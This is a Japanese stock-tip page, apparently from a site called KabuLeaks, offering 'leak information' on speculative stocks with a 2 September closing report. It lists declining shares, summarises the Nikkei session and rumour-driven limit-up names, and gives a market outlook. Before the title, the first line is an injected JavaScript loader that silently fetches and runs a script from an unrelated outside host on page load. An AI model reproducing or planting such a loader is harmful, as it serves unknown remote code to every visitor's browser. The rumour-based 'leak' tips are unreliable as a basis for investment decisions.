;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/2 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【9/2 大引け】

【5288】Jパイル 827円 -31 (-3.65%)

【9603】HIS 3,845円 -65 (-1.66%)

【1803】清水建設 1,134円 -19 (-1.64%)

【8306】三菱UFJフィナンシャル・グループ 767.1円 -9.9 (-1.27%)

本日の日経平均株価は70円安と3日続落。前日の欧米株安を引き継ぎ大幅続落スタートした。ただ、一巡後は先物主導での買い戻しが入り一時200円超の上昇し、その後は上海総合指数の下落などから伸び悩む展開。後場入り後は再び上げ幅を広げ一時300円超の上昇を見せる場面もあったが、新規の押し目買いは乏しく引けにかけ売り直されマイナス圏に沈んだ。業種別では、陸運業、医薬品、倉庫運輸関連、空運業の4業種のみの上昇。一方、パルプ・紙が4%超、鉱業、石油石炭製品が3%の大幅下落となった。

個別では、株主優待制度を新設を引き続き材料視の【9322】川西倉庫が連日のストップ高。岩井コスモ証券が好業績を見直し、投資判断の格上げから【6837】京写、郵政上場に関連する期待の銘柄として【2321】ソフトフロントなども上昇した。また、特段の材料は確認されていないものの、仕掛けなどの噂も浮上、【7608】エスケイジャパンや、リニア関連など切り口多彩で思惑買いの【3443】川田テクノロジーズなどが一時ストップ高まで買われる場面もあった。

明日3日は、抗日戦勝記念日で中国本土市場が休場なため、上海総合指数に左右される展開にはならないが、週末4日には8月米雇用統計の発表を控えていることもあり、積極買いは期待できない状況。利上げに対する不透明感も強く、9月半ばに控えるFOMC通過までは先物主導での不安定な高ボラティリィの相場が続きそうだ。日本のファンダメンタルズは比較的良いが、戻りを試すには新たな材料も欲しいところ。